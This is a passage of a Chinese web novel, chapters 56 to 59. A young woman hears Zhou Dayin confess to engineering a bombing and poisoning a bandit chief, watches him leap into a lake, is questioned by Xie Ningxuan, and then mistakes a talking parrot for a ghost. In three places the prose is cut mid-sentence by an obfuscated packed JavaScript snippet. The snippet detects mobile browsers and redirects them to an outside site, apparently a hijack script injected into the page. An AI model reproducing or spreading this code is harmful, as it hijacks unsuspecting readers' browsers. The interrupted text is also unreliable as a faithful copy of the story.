“然后呢,你就开始以二叔常流连的江瑟楼为目标,想把所有人一锅端?” 周达尹的眼眸逐渐变得冷酷:“知道我秘密的人,自然都不能留。见嫉妒的寨主被俘,又得到我的保证,会让寨主没有机会说出他漏网后,二当家的逐渐对我深信不疑。我没有花费太多精力,就劝得他袭击江瑟楼。当然,我也早就准备好了图纸。” “你怎么会有图纸?你以前来过?” 周达尹将目光抽回,看着我认真的说:“我真的从未踏足烟花之地。” 我难堪的低下了头。 周达尹弯了弯嘴角,浮出一抹自嘲的笑。“对不起,是我唐突姑娘了。说到哪了?哦,其实是京城有规定,凡装修动土后,商家都要上交图纸至京城府衙。祖父既然是刑部尚书,我帮着他送个文书去府衙,也是常有的。这些文件不比卷宗,没有必要严格看管,我得以顺利模拟了一份。之后,我添加了一条不存在的密道,就交给了二当家的。” “他就没有怀疑过?就真的敢来?哦,所以你们之间所有通信,你也刻意模仿了你二叔的字迹?” “是啊,我幼时,祖父和爹都很忙,是二叔教我写字。他的字迹,我一清二楚。二叔永远也想不到,我举着他送我的毛笔,却在伪造着指证他的证据,哈哈哈哈。”周达尹的笑声微弱,混合着一丝哽咽。 我突然明白了周达尹的感受,他也不想,他也不愿这样,可是为了自保,他还是选择了自己放弃了二叔。 “土匪怎么就真的敢来?王姑娘,你太不了解人性了。利益当前,谁能存有理智?我为他描绘的可是无上价值的财宝,还能借人质将此前害他灰头土脸逃之夭夭的三殿下等人逼到墙角。土匪本就逞强且无脑,这诱惑对正需要树立威信重整旗鼓的二当家来说,太大了。何况,我给的情报从来都没有错过,他对我,很是信任。” 人性? 是啊,人性是最不可控的。但周达尹,你真的了解人性吗? “我之所以将密道绘制在厨房,自然是看中此处存有美酒的优势。厨房又位于角落,一旦爆炸,到此的土匪必死无疑。你看,我没料错吧?二当家的眼见计划失败不顾一切想跑路,不就死在厨房了吗?” “那么,牢中的寨主也是你杀的?” 周达尹点点头,面上并无狠毒,可说的话却令人毛骨悚然。 “对,因为寨主必须死。” “你……也是为了你的父亲?”我迟疑着问。 “父亲?谁是我的父亲?”周达尹却大笑着摇头,“我的父亲是周学仁!我是周家的子孙!我为那土匪报仇?可笑。我杀寨主,是因为这一局,他必须死。” 是啊,他死了,官府就无法达成要求,就能任由二当家的索要天文数字。寨主作为引二当家的入局的环扣,的确必须死。 “我本来还在愁如何下手能撇清自己的嫌疑,没想到二叔居然主动送上门来。他已经在青楼流连数月,却突然跑来求我,带他入牢见寨主一面。我知道,他是故意的,他就是暗戳戳提醒我,我根本不配顶着周氏名头。那一刻,我下定了决心,他也必须死。” 周达尹眼中第一次出现了怨毒,“我不知道他和寨主说了什么,竟在里面呆了那么久。但这实在是个机会,我借口进去找他,洒了鹤顶红在汤里,当晚,寨主就死了。” “即便日后寨主的死被怀疑,你也只是个被利用的无辜角色。真是完美的计划啊。”我的心很冷很冷,“那,二叔回家气到祖父,也是你事先安排的?” “嗯。”周达尹冷漠的回答,“是我先派小厮告诉他祖父病重,他果然回来了。我知道他二人素来说话不对付,三两句就得吵起来。我便能借口去江瑟楼找他。二叔当然不愿和我回去,争执中,我摔到地上的杯子,就是给土匪的信号。” 所以周二叔当时吓白的脸,根本不是伪装。他是真的应激反应,听到马家寨的名头,就控制不住的害怕。但即便如此,他还是鼓足了勇气制止土匪,来救我们。 或许,骨子里的骄傲,这才是周家血脉应有的承担。 我深吸口气,才让自己的眼泪没有落下。“那么,土匪持有的官造武器,也并非你二叔谋划,而是你调动的?可你、你怎么做到的?” “祖父身子不好,这些年刑部的事时常交给我代办,刑部上下都对我很熟悉。我偷了祖父的官印,拟了一份将库存生锈兵器化了重新打造的指令,分批从刑部运出。车夫就是土匪的人,所以那批兵器,便到了土匪手中。他们再加以磨砺,便可使用。” 我想起那柄被打飞的、断在我脚下的长刀锈痕。 “这也在你的谋划中吧,以锈烂兵器对官兵精练武器,土匪更无胜算。” “没错。”周达尹微笑,“真是什么都瞒不过你啊。兵器打造需要月余,这中间案发,无人会联想至此。即便日后有人怀疑,那文书,我用的也是二叔的字迹。” “好谋算,真是好谋算。”我无力的摇摇头,“我猜,你还事先安排土匪化身潜入京城了吧?江瑟楼他们也有摸底过?所以行动一开始,才会那么迅速,那么干脆。” 周达尹端起茶杯轻轻抚摸着,神情淡漠。 “没错,化身入京本不难,我让他们扮作商贩在江瑟楼附近游走,随时听候吩咐。同时,我给了二当家的二百两,让他进江瑟楼看看,以打消他的怀疑。这青楼名声在外,内里更是奢靡,他一旦踏入,纸醉金迷更令他不会罢手。” 而江瑟楼日日人满为患,他没有机会接近厨房,所以,只能把筹码压在周达尹的图纸与消息上。这对周达尹来说,更是万无一失。 “我当日见到,他们在将火药搬至厨房,也是你安排的?” “不让他们炸掉厨房,如何稳妥除掉二当家的?他得带着他的白日梦,和我的秘密永埋地下啊。当然,我给出的理由是在他们脱身后,炸了密道防止追踪。” “这一招,确实高明。”我叹口气,“但你何必要给人质下迷药?你明知道最后爆炸会有多么危险。” 周达尹垂下眼帘,似乎也有些许的不忍。“我、我在书信中写明了用量,原本爆炸声,是一定能吵醒人质的。但他们、他们……蠢货!居然下了几倍的药量!” 眼泪到底还是没能忍住,我颤声质问:“你方才问我了不了解人性,你又了解吗?就拿金宝鸯的死来说,你能料到吗?你嘱咐过不要留下青楼女子,不要沉迷女色坏了大事,是不是?但是你能料到土匪的凶残吗?” 我站起身来,眼泪汹涌而下,“金宝鸯是被二当家的活活掐死的,活活掐死!你说写明了药量,你怎么能相信他们!” 周达尹的眼眶也泛红了,但他还是波澜不惊的笑着:“是啊,我本是就是恶人啊,禽兽不如的恶人啊。” 我的心被重重锤着:“最后的爆炸也是你引燃的,对不对?” “我打了你之后,便将走廊边一连串的烛台推了下去。” “你真是……”心口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这场悲剧中,谁不是被命运捉弄的对象? “是我鬼迷心窍……呵,我流着土匪的血,我本就是个凶残的人。”周达尹木然的喃喃着,眼神无神的落在窗外,“二叔,二叔……” 许是想到了曾经与二叔相处的温馨时刻,周达尹浮出绝望的笑。 半晌,毫无预料的,他猛的朝窗口冲去,双手撑着窗台一跳。 我吓坏了,条件反射冲上去抱着他:“周达尹!你快下来!不是,不全是你的错!你不要做傻事!” 周达尹没有挣扎,他回过头,用空洞的目光望着我:“王姑娘,是我对不起你。你这么美好,我本就不配靠近。让我去吧,我不值得你担心。” 说罢,周达尹猛地一蹬腿,半个身子跃出了窗外。他的力道很大,我根本控制不住,拉扯中,我也被他带的上半身尽在窗外。 我又惊又怕,只能大吼:“来人啊!救命啊!快来人!” 雅间门猛的被推开,谢宁轩出现在我眼前。 他大惊失色:“羽书!” 然而他冲上来的速度不及周达尹下坠的力道之快。毕竟周达尹,已哀痛至极,无任何求生欲望。 许是见到人来,周达尹又伸手推了我一把。一声“再见”未及入耳,他已消失在湖面。 泛起的浪花激的我心头大骇,然顾不得旁的,此刻的我,重心也没了支撑。 “嘶”得一声,谢宁轩只来及拽住我的衣袖。只一瞬,它宣告破裂。 一秒钟,快的我甚至没有来及抬头再看一眼那熟悉的面庞,快的我甚至来不及害怕,就被涌上的湖水淹没。 我也跌入了湖中。 冰冷的湖水霎时充斥心肺,我挣扎着四肢却被旁边的水藻缠住,用力摆动也挣脱不了。氧气越来越少,喉咙深深的刺痛,眼前越来越模糊,湖面上被阳光洒下的波光完全化为青白色。 当最后一口气也被溢出,眼前泛黑时,一个身影忽然出现在我身边,大手一把揽上我的腰,猛的一拽,我便脱离了水草的纠葛。 浮出水面的一瞬间,满满新鲜的空气朝我鼻子嘴巴扑来。我大口大口地呼吸着,紧紧攀着他的肩膀,恐惧犹如蚕蛹将我团团包围。 谢宁轩一只手抱着我,另一只手朝岸边划去。垂湖小楼往湖面延申的部分不小,从窗中坠湖,离岸边也非几步之近。 等谢宁轩把我拖上岸,我那猛烈的心跳才得以舒缓,亦注意到,湖面翻滚着不少身影,是京城府衙的衙差们。 周达尹,周达尹,快救起周达尹啊! “羽书,你没事吧?”谢宁轩焦急的上下打量我,呼出口气后,他再也没有停顿,一把将我拉入了怀中。 “为什么又自己冒险!羽书,你不是答应过我了吗?”他的声音有些严厉,透着丝丝颤抖。 我却无心品味,只焦虑的盯着湖面。 然而几秒后,垂湖小楼的另一侧响起纷杂的人声。浮生的声音最大:“大人,周公子死了!” 57.争执 他死了,他真的死了。 最后一根心弦断开,眼泪还是落了下来。 “羽书她还好吗?” “哎呀,醒来后就是哭!”老爹焦躁的跺了跺脚,“问什么都不肯说!怎么就又晕了?还有周公子,好端端怎么就落水了?不会是,不会是她、她造成的吧?” 怎么不是? 如果不是我执着的调查,逼他说出真相,如果我将疑问埋在心底,肯装聋作哑,周达尹还会投水自尽吗? “谢府丞啊,你、你该不会是来带她回府衙问话的吧?” 同样的问题,我也想知道答案。我抬头看向谢宁轩,后者一向如海深邃的眼眸,此刻是浓雾弥漫。 “王副官,你先出去吧,我确实有些事情需要问羽书。” “啊,可是她现在这个样子……”老爹很愁,却没想到我打断了他。 “爹,没事,你先出去吧。” 我和谢宁轩四目相对,像两只踩在电线上的鸟,谁也不肯向前一步,渡那万劫不复。 但今晚总是过不去的,周达尹的死,我必须给出个说法。 “周公子落水,不是我推的。”我先败下阵来,扭头避开谢宁轩的凝视,“他只是踩空了,他、他当时在看风景,只是不小心……” “到现在你还要骗我?”谢宁轩轻轻开口,“用假话来搪塞我?为了周达尹?” 我呆呆地看着他,心中翻滚。 “你今天是去摊牌的,不是吗?他是跳湖自尽,不是什么踩空不小心!你为什么到现在还要替他掩饰?” 像被重重击了一拳,我僵直身子:“你、你都知道了?” 谢宁轩握了握拳,轻轻咬牙:“是,我知道了。周达尹才是这次江瑟楼爆炸案的幕后真凶。” 犹如丢颗石子入百米深谭,波澜过后,是死寂的平静。 果然也不曾瞒过他,果然他还是知道了。 否则他怎么会带队出现在垂湖小楼。是他,是他救了我,再一次。 “谢宁轩,今天,我……” 话没说完,谢宁轩倏地打断了:“今天你有多危险,你不知道吗?那湖中水草极多,布着暗流漩涡,你若是被卷入……我已经最快的赶去了,你为什么不等等我?” “我、我……” 谢宁轩已经在赶来的路上了。是啊,他已经来了。 那我私下去找周达尹,又算什么?我一意孤行的质问,是不是真的是害死了他?如果今天先到的是谢宁轩,如果审问的人是谢宁轩,周达尹还会跳湖吗? “羽书,我再问你一遍,周达尹为什么会坠湖?”谢宁轩眼圈红了,这几日,他的眼下总有乌青。唯一双眸子清亮闪烁,似繁星聚焦。 然而现在,这双眸中,仅剩深深的失望。 我盯着他,不知道为什么,脱口却问:“你现在是以什么身份问我?是京城府丞,还是……” 未说完的语句,我自己也拟不出措辞。谢宁轩却未感意外,他只是深深地看着我,轻启朱唇:“你说呢?你希望我站在什么角度?” 眼睫颤抖,泪水怎么也阻挡不住。我低下头,只敢问他:“你、你是怎么知道的?” 有叹息声划过,谢宁轩终是简单回答:“这案子他做的本就并不完美,发现内中玄机,也不是难事。” 可我与周达尹经历的种种,是谢宁轩未曾全盘掌握的。我的怀疑来自点滴细节,他又是如何起疑的? “因为那些书信。” “书信?幕后黑手与二当家的书信?” 谢宁轩却摇摇头:“二当家的根本不认字。” 我心一惊,但答案马上映现。“是那个长辫男!他才是真正与周达尹联络谋划的人?” “没错。”谢宁轩点头,“此人在爆炸中受重伤,至今昏迷未醒。但是我找到的书信,其中有批注、标重点、下方记录的痕迹,那些字迹经过比对,就是他的。被抓的有个独眼龙,还有几个轻伤的土匪也交代称,长辫男子是二当家的心腹,凡事都与他通气。此次谋划,二当家的也都交给他执行。” “他确实颇有心机,比一般土匪有脑子。可是,他既然未醒,书信另一方明明是周二叔的字迹,你怎么会怀疑到周达尹身上?” 谢宁轩苦笑:“难道行文风格、遣词造句,能完全做到一模一样吗?难道周学礼这三个月无法执笔,我意识不到其中问题吗?难道环环扣扣涉及周学礼的嫌疑中,我发现不了还有另一人的存在吗?羽书,在你心中,我是个不负责任、不追根究底的刑狱官吗?” 我再次沉默。好像又回到了那不见天日的湖水中,呼吸被剥夺。 许是察觉到失态,谢宁轩深吸了口气,低头移开了凿凿目光。半晌,他从怀中掏出两封信递出。 “这篇是周学礼在翰林院呈交的采风归集。从文章来看,行文拖沓,语言累赘,时有天马行空之想法,这恐怕也是他多年未有升迁的理由之一。而这书信,你看看,风格差别有多大。语句凝练、用词贴切,对可能存在的危机,逐条分析严密清晰、逻辑严谨,毫不拖泥带水。这能是周学礼写的?周达尹上科中状元,是圣上钦点,赞其文章流畅、思维格局宏大,并令朝臣阅读赏析。我清楚的记得,周达尹喜于文章最后以诗点题。这封信以‘船行掌舵易,慎之行千里’为结尾。是谁的手笔,我还看不出来吗?” 只一句诗,只几篇文章,就暴露了小心筹谋许久的局。谢宁轩,果然机警。 “我以为,你已经结案了。”我忍住抽泣,小声说道。 谢宁轩叹了口气:“卷宗确实上呈了。是我的失误,我没有盘问每个人证,才会耽搁至今才意识到蹊跷。但我整理证据,我早晚会发现疑点的啊。羽书,你为什么不告诉我?前几天你找浮生要迷药,就已经在追查了,是不是?为什么没有提前告诉我?你……” 谢宁轩的声音有几许落寞,“你不相信我?” “我……”我又语塞了,话堵在嗓子眼,却怎么也说不出来。 相信谢宁轩吗?自然是相信的。 但是,当怀疑的种子在我心中发芽时,我太震撼了。我不敢相信,不敢面对,我怕我猜错了,更怕一切是真的。 我哪敢去找谢宁轩证实?就连今天面对周达尹,我心里都是乱糟糟的,去之前我根本没想好该怎么开口,到底要问些什么。 事情发展到这一步,我不仅毫无预料,甚至,都不曾假想一二。 “羽书,那你现在,可不可以告诉我,周达尹的动机?”谢宁轩压低了声音,“他、他是不是身世与马家寨有关?” 我惊呆了:“你,你知道……你怎么……” 谢宁轩避开我的目光,偏头轻声道:“我不知道。书信也好,人证也罢,我都没有拿到确切的证据。二当家的已死,长辫男是否完全清楚个中内情,我也不能肯定。” “那你……” “我意识到周达尹有嫌疑后,又去了趟周家,发觉他母亲说话闪烁其词,提起马家寨,竟恐慌的摔了杯子。从周家下人处,我得知周达尹的乳母自称马夫人,对他百般呵护,临终前二人却有过激烈争吵,且惊动了他母亲。吵架后,哭着跑出来的却是周达尹。即便如此,乳母最后还是以高规格待遇安葬,还有下人无意中看到周达尹给乳母下跪磕头。这些,都令我百思不得其解。直到我发现……” “发现什么?” 谢宁轩沉默着,从怀里掏出一个小小卷轴。 我颤抖着接过来,是一首词—— “廿载光阴悠悠,一朝梦碎囚囚。意难平,路已尽,狸猫终难成太子。 桂冠殊荣如昨,济世抱负成阻。泊西洲,宿破屋,唯有仰天归隐去。” 狸猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555772|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终难……周达尹,原来轻描淡写的述说中,你竟悲观至此。 “羽书,你今天与周达尹谈了许久,相信他把前因后果都告诉你了。到底是为什么,他会犯下如此罪孽?” 周达尹悲切与绝望的表情在我眼前浮现。心口闷如蒸笼,我摇着头,实在说不出口。 叫我怎么讲述,当作一个故事会吗?周达尹的人生,已经被毁了,难道最后这点声名,也保不住了? 谢宁轩的面容渐渐被失望笼罩,他努力沉声,却还是压抑不住颤抖。 “羽书,你什么都不肯说,是打量替周达尹隐瞒一切了?那我问你,周学礼呢?他无不无辜?他背着罪名,他被害身亡,他就是活该、不值得一提的吗?你既已知道真相,难道不应该替周学礼翻案,将周达尹绳之以法?” “我,我,我不知道,我不知道……我只是,我只是……” “你只是难以相信共历生死的人却是真凶,你只是难以面对自己被欺骗被利用!可你就这样贸贸然去找他摊牌,不留任何后手就去对质,你考虑过自己的安危吗?你就这么相信他?如果他丧心病狂,将你灭口呢?” “不,不!不是他丧心病狂,不是,不是……”头痛欲裂,我挣扎着解释,“是我去救他,是我没能救下他!他不是,他不是……” “呵,”谢宁轩冷笑着站起身来,眼眸却映着血色,“怎么,在你看来,他还是翩翩君子了?你难道不知道,这一切都是他造成的?无辜的人质、官兵,死了十五个人!周达尹或许救过你,或许替你挡过刀,但如果不是他犯下的罪孽,你根本不会有此劫难!你觉得他是你的生死之交,所以你的原则,你的道德感,就全都可以抛诸脑后了?” “我没有!我没有!”我再也忍不住,捂着耳朵崩溃的叫道,“你已经知道了,你已经查到了真相!长辫男醒来,自会交代一切!别问我了,别逼我了,我求求你了!” 嘶声力竭的叫喊声引来了老爹,他见我情绪激动十分骇然,忙走过来拍我的后背,一边叹气道:“又怎么了!发这么大脾气!谢府丞,你别见怪啊!她这会儿可能心里难受的紧,要不你先回,改天我再带她去趟府衙!” 谢宁轩垂下眼睑,一向齐整的发髻,额间却耷下几许,挡住了他痛苦的神情。 须臾后,他只道:“不必了。我想知道的,都问清楚了。你让她、让她休息吧。” 说罢,他没有再抬眼看我,转身就走了。老爹难得没有谄媚的跟出去,而是将我抱在怀中。 可我还是浑身发冷,深深的无力感自上而下笼罩着我。 谢宁轩的质问一遍遍在耳边回响,我不知道,我真的不知道。我只是难以怀着心中的疑团和周达尹若无其事的谈笑,我做不到假装没有任何异常。可摊牌之后,事情的走向,我未曾料到,更控制不了。 我知道,我应该将实情告知,应该替冤死的亡魂讨个公道。可我说不出口,我真的不知道该怎么讲述周达尹的身世。彻头彻尾的悲剧,我实在做不到冷漠的旁观与讲述。 而谢宁轩……我知道,我让他失望,让他伤心了。 接下来的日子,我又变成了一只鸵鸟,埋在家里,谁也不肯见。老爹一次又一次的尝试,都被我用抱枕轰了出去。 但江瑟楼一案的真相,最终还是大白于天下。周家经历了舆论的攻击,听闻周老尚书也入宫辞官了。 只是,周达尹的动机,始终未曾泄露一二。我不知道是谢宁轩刻意保守了秘密,还是长辫男事实上也并不清楚,但直至他被处决,也未有任何风声。 案件终会了了,就像世间万物,总会有个结局。可我却没想到,谢宁轩会因为我的过失被连累,于他而言,竟还未到尘埃落定之时。 而我自己,竟然很快又陷入到一场漩涡之中,一个我后来想想,还会觉得荒唐又诡异的漩涡。 58.撞鬼 事情的起因是我撞鬼了。 我近来神思倦怠、失眠多梦,常常忆起儿时孤单、被遗弃的自己,尤其失去姐姐之痛,曾令我一度失魂落魄。 是当上律师,成功为当事人谋得法律支援后,才从中获得成就感带来的平静与安全感。 然而周达尹的死,再次将我带回失败中。 夜不能寐,我唯有独自坐到院中发呆。作为一名受唯物主义教育的现代人,夜风吹灭蜡烛、树木发出响动,这些鬼片用来吓唬小学生的低级套路,我岂会心有波澜? 但今晚显然不一样。 蜡烛灭了之后,我眨眨眼睛,短暂的黑暗过后,我适应了不够皎洁的月光。叹口气,今晚的泪水也流的够多了,便默默起身准备回屋。 就在这时,耳旁忽然响起一个空灵的、若有似无的女声—— “你来了?” 我诧异的站定身子,扭身一看,朦胧月色能见度不高,可还是能看清,屋门紧闭着。 不是新来的丫鬟垂云垂柳出来,那是谁在说话? “我等你好久了。”同样的声音又响了起来,虚无缥缈、隐隐约约。 我有点慌,忙睁大眼睛四顾,可小院平静如水,半个人也没有。 怎么回事,难道我幻听了? “该歇息了,别念着旁人了。” 等一下,不对,真的有声音啊。 这次,我听得真真的。是一个轻柔、幽幽荡荡的女声,带着娇媚的尾音,忽远忽近。 冷汗当即爬上额头。 “你还左瞧右瞧等什么呢?还不进来?” 这、这、这是在对我说话吗? “谁,谁在说话?”我紧张地说话都开始打拌子了。 “吱呀”声在脑后响起,我差点跳了起来。回头一看,地上多了个枝条。 我吓懵了,盯着它足足看了五秒钟,才敢抬起头来。院中柳树在白日里分明是乘凉的好去处,这一刻,怎么树影婆娑、鬼气森森呢? 入了夏的夜风都是黏黏腻腻的,可今晚不一样。 我后脑勺分明是被北风大力吹着啊。 隔壁王婆家门口那灯笼被风吹的一闪一闪,像一只阴阴阳阳的眼,不怀好意的瞟着我。 怎么搞的,我可是在唯物主义教育下长大的啊,我怎么能怕那…… 耳旁又传来一声细微的、粗糙的声音。我压住嗓子眼即将爆发的惊惧,骇然发现那枝条旁,竟然又多了一条。 我刚只抬头看了眼王婆家的灯笼啊…… 天哪,难道…… 遥遥女声再次响起:“你问我是谁?你说呢?” 不远处幽幽那只眼,忽然闭上了。 我就在陷入黑暗的一刹那,惊恐的意识到,她、她是在回答我的问题? 有生之年读过的所有鬼故事齐齐冒了出来,脑海中贞子和聂小倩在抢占地盘。 我要逃,我要跑!脚却像被打了桩子,僵硬地抬不起来。我强迫自己深深吸气以赶走恐惧,余光却乍然掠过一个白影。 “谁!”我吓坏了,厉声喝道。 女声立即换了方向,自白影消失之处飘出:“郎君,你回来了?” 我张开嘴巴大声呼救,可半个字还没吐出,忽然一阵风袭来,连同求救声一道卷裹入我的喉咙。我被呛得连连咳嗽,脚步不稳,差点摔倒在石台边。 飘忽不定的女声又轻柔响起:“慢些,慢些,郎君慢些。” 地上的枝条毫无预兆的飘荡起来,犹如被一双大手轻巧握着,从我面前划过。 我吓死了,闪躲也忘记了,逃跑也不会了。 “吱呀!”又是同样一声,却响了好几分。 我不敢回头,可偏偏余光清楚地扫视到,远处有个人形轮廓,晃悠悠、窸窸窣窣的,自远而近踱来。 “你你你……你什么人……”语无伦次,我吓得呼吸都不顺了。那身影却越来越近,直到一双手毫无预兆的拍到我的肩膀上。 可身影明明还在两步之遥,那我肩上这是…… “啊啊啊!”我终于不受控的尖叫出声,声带每个细胞都在颤抖。 “小姐,你怎么了?” “书儿!大半夜的你不睡觉,鬼叫什么?” 两个熟悉的声音交叠入耳,我哆嗦着眯开眼一看,垂云正端着烛台担忧的看着我,一旁是揉着眼睛的垂柳。二公子派来的琴棋书画四丫鬟也披着衣服陆续走出屋子,打着哈欠。 对面那身影在烛台的照射下,具象出老爹的模样。他一屁股坐到院中石台边,打着酒嗝:“哎呦,哎呦,今天这酒太难受了,我这一路走回来,怎么也吐不出来,哎呦……快快,谁给我倒杯茶来?” 我懵了,忙接过烛台四下扫视,可干净的院落中,哪有陌生人?那透着不详气息的柳树,此刻正迎风舒展着。 “你们、你们方才没听到什么声音吗?”我忍不住疑惑地问。 “没有啊。”垂云摇摇头。 “出来就见小姐你抱着头在叫,没有别的声音了呀。”垂柳眨眨眼。 “那方才我肩上的手……” 垂云无辜又担忧的举起自己的右手:“奴……”她不适应的吞下半句,改词道,“不对,是我、我碰下了小姐,小姐就闪躲着跳开尖叫……” “书儿?你又怎么了?”老爹察觉到异常,朝我上下打量打量。 这怎么回事? “爹,你刚回来,也没看到院中有什么动静?” 老爹翻个白眼:“有什么动静?不就是你又不睡觉跑出来发呆吗?进院子就见你一副失魂落魄的样子。都多长时间了,你怎么还没走出来?” 絮絮叨叨中,我也忍不住怀疑了。院中出现的人是老爹和垂云,并没有旁人。难道真是我情绪波动生出的幻觉?可是,明明那女子的声音是那么清晰。 “天哪,小姐你也听到了女鬼的声音?”丫鬟又书听见我的喃喃声,脸色骤变,紧张的跑上前来。 我有些紧张,就听又书颤抖着说,“今早天不亮,奴——不是,是我——起夜,也听到女鬼唤着‘郎君,郎君啊’!” 垂柳贴到我身后,又吓了我一跳。 “咱、咱们家有女鬼啊?”垂柳紧紧攀着我和垂云的胳膊。 垂云比较冷静:“别瞎说,住了这么些日子,哪有。” 又书狂吞口水:“可是奴、奴……哎呦!小姐,小姐也听到了啊!” 我是真听到了,又书也有同样经历,那难道,此处真的有怨灵不散? 不不不,要相信科学,哪来的鬼啊,不不不。 我在脑海中拼命给自己打气,可冷汗还是一茬茬往外冒。 这院子,不是已经住了多年了吗?怎么还会有这种事? “爹,你知道怎么回事吗?”我扭头问老爹。 然而,老爹早就趴在石台子上睡着了,众人目光集中之时,竟还打起呼噜来。 *** 当夜,我是和垂云垂柳挤在一张床上,才敢睡下的。 但没想到,三个人的阳气,还是没能压住这只鬼。 约丑时,我已经做起梦来。周达尹落水前的绝望与谢宁轩通红的眼圈再次交替着映现,让我睡觉都睡不踏实。 梦魇压迫着,身体却很疲倦,不愿醒来。半梦半醒间,我察觉到一丝凉意,只好不情愿的迷迷糊糊的睁开眼。 漆黑的夜中似有人影飘动。 我登时就吓清醒了。惊魂未定中勉强探看,房间里却没有什么异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565820|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。 “嗯,猪蹄……”垂柳在吧唧嘴,一个转身,我的被子彻底被卷跑。 嗨,是她啊。行了,别自己吓自己了。 我擦擦冷汗,自嘲笑笑,刚伸了手去扯被角,猛然间,两声极其尖利的嗓音划破寂静—— “鬼啊!”“鬼啊!” “啊啊啊啊啊!”不受控制的,我再一次从嗓子眼冒出尖叫来。 “怎么了怎么了!”垂云吓得坐起来抱住我的腰,眼睛都不敢睁开。 垂柳更是跟着我尖叫,抱头缩在床角。 屋内是极不和谐的惊魂曲,屋外亦是雷霆雨露,琴棋书画饶是在隔壁房间,都被这厢动静惊到尖叫不断。 老爹和钟叔全吓醒了,后者操着扫把就冲了进来:“谁,谁!谁敢袭击我家小姐!” “钟叔,钟叔!有鬼,有鬼啊!”垂柳高叫着。 “鬼?哪来的鬼?”钟叔傻眼,忙摸黑掏出个火折子。随着光芒驱散黑暗,所有人的心都落回胸膛。 “怎么回事小姐,哪来的鬼?”钟叔一面查看四周,一面问我。 垂柳缩在我怀里:“小姐,小姐,你又看见那女鬼了?天哪,咱们家真的有鬼?” 钟叔摸不着头脑,狐疑的到处乱看。 我吓得身子都僵硬了,但大脑还是察觉到一丝不对。 “等一下,垂柳,刚才不是你尖叫的‘鬼啊’‘有鬼’吗?不是你看见女鬼才叫出来的吗?” “奴、奴,没有啊,奴、我我睡着的呀!”垂柳连连摇头,哆嗦的床都在抖。 “小姐,刚才不是你叫的吗?我醒来是瞄见你在尖叫啊。你是不是又做噩梦了?”垂云探出头来,多少还有些理智。 但我一瞬间,浑身的鸡皮疙瘩就冒了起来。 不,我没有,那两声鬼叫不是我。如果垂云垂柳也不曾发出,那是谁? 屋里,屋里……还有别人? “钟叔,钟叔!求求你了,快把蜡烛全点起来!检查一下屋子!” 钟叔听我都带了哭腔,也不敢耽搁,忙照办。这时,老爹晃着肚子也进来了,吧唧着嘴,头发乱遭蓬松着。 “干什么,干什么呢?大半夜的,不睡觉这是干……” “郎君,你来了!”忽然,那声飘渺的女声再次响起,老爹惊骇地一屁股坐到地下。 “谁,谁!”钟叔又操起扫把来。 女声却又变了:“有鬼,有鬼!” 我尖叫起来:“刚才就是这个声音!” “啊啊啊啊!” “谁!谁在装神弄鬼!” “老钟,老钟!你在哪儿!” 两个丫鬟朝我扑来,瑟缩抱团。我闭上眼前的最后一秒,是瞥到白影再次划过,飘向屋顶。 耳旁丛丛叠叠尖叫声中,竟还夹杂着老爹的求救声,我咬紧腮帮子眯眼一看,好家伙,他都躲到钟叔怀里了! 白影再次飘荡,眼看朝床袭来! 我大声念起唯物主义价值观,用力捶向大腿。疼痛激发着肾上腺素,我扯下床帏就朝白影扑去。 妈的,今天不把你这女鬼拿下,对得起我背考研政治薅下的那些头发吗? 我是闭着眼全凭一蹬腿的迅捷前扑,但床帏下明显有东西在扑腾。 天哪,我抓住了! “快来看,这到底是个什么玩意!” 无人响应我。 “快点啊!” 钟叔第一个反应过来,跳上前帮我用力按住床帏下的活物。可我俩手忙脚乱的一通操作,却齐齐意识到不对劲。 这女鬼,怎么这么小? “小姐,这是?” 我咽口口水,朝钟叔点点头。后者慢慢掀开一角,雪白的身影浮现—— 59.找主人 “真的假的?” 我丢下昨天被风吹得犹如鬼手的柳条,没好气的扫了眼对面的人。 二公子收敛起打趣的笑容,讪讪嗫嗫:“那我、那我也不知道啊。” “不知道!你一句不知道就完了?昨天晚上,我们全家差点没吓死!” “额……”二公子小心的觑着我,“但是我买它的时候,它说的可是‘吉祥’啊!” 又书将笼子搁在石台子上,不敢怒怼自家公子,唯有怨念的撅嘴。 笼中一只雪白的鹦鹉正昂首傲立,歪着脑袋对着二公子眨巴眼,一副机灵可爱的模样。 “送来三天不吃不喝不说话,”垂柳胆大,敢小声抱怨,“一开口,就是半夜鬼叫吓人!” “奴……啊,我还以为撞鬼了,昨天一天神魂颠倒,把菜都烧糊了!”又书悄悄附和。 二公子眉头蹙了起来:“什么奴啊我啊,怎么说话的?” 又书吓了一跳,低头就要下跪,被我一把拦住了。 我扭头对二公子平静地说:“是我让她们改称呼的,我不喜欢听‘奴婢’这词。” “啊?为什么?” 